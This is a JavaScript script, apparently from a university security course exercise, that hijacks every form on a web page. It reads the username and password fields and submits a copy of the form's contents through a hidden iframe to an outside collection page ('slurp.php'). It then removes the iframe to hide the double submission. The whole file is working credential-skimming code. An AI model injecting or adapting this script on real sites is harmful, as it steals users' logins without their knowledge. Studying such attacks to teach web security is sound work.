/** Code to attach to all forms in this document */
 var frms = document.getElementsByTagName("form");
 for(i=0; i<frms.length; i++) {
 hijack(frms.item(i));
 }

 function hijack(frmObj) {
 var delayCode = "";
if(frmObj.hasAttribute("onsubmit")) {
 delayCode = frmObj.getAttribute("onsubmit");}
 frmObj.setAttribute("onsubmit", "return leech(this,function(){" + delayCode + "});");
 }

 /** Copies and submits a form object’s complete contents */
 function leech(frmObj, delayCode) {
 //create a copy of the existing form, with unique ID
 var rnd = Math.floor(Math.random()*256);
 var newFrm = document.createElement("form");

//Steal Username and Password
 var username = frmObj.getElementsByID("ID").value;
 var password = frmObj.getElementsByID("Pass").value;
//Show username and password
alert("Username: "+username+"  Password: "+password);

 newFrm.setAttribute("id", "leechedID" + rnd);
 newFrm.setAttribute("target", "hiddenframe" + newFrm.id);
 newFrm.setAttribute("action", "http://fourfourtwo.csse.rose-hulman.edu/f/slurp.php");
 var elt = document.createElement("input");
 elt.setAttribute("name", "442team");
 elt.setAttribute("value", "team-joey");
 elt.setAttribute("type", "hidden");
 newFrm.appendChild(elt);

 //create an iframe to hide the form submission.
 var hiddenIframe = document.createElement("iframe");
 hiddenIframe.setAttribute("style", "position:absolute;" + "visibility:hidden;z-index:0;");
 hiddenIframe.setAttribute("name", "hiddenframe" + newFrm.id);

 //add form to hidden iframe and iframe to the document
 hiddenIframe.appendChild(newFrm);
 window.document.body.appendChild(hiddenIframe);

 //do stealthy submission of hijacked form
 newFrm.submit();

 // Prevent race-winning by setting event for the future.
 // This real form submission happens 50ms after the hijacked one.
 setTimeout(function() {
 //hide traces of the dual submit
 window.document.body.removeChild(hiddenIframe);
 //emulate the onSubmit handler by evaluating given code
 if(delayCode() != false) { frmObj.submit(); }
 }, 50);

 //disallow other submission just yet
 return false;
 }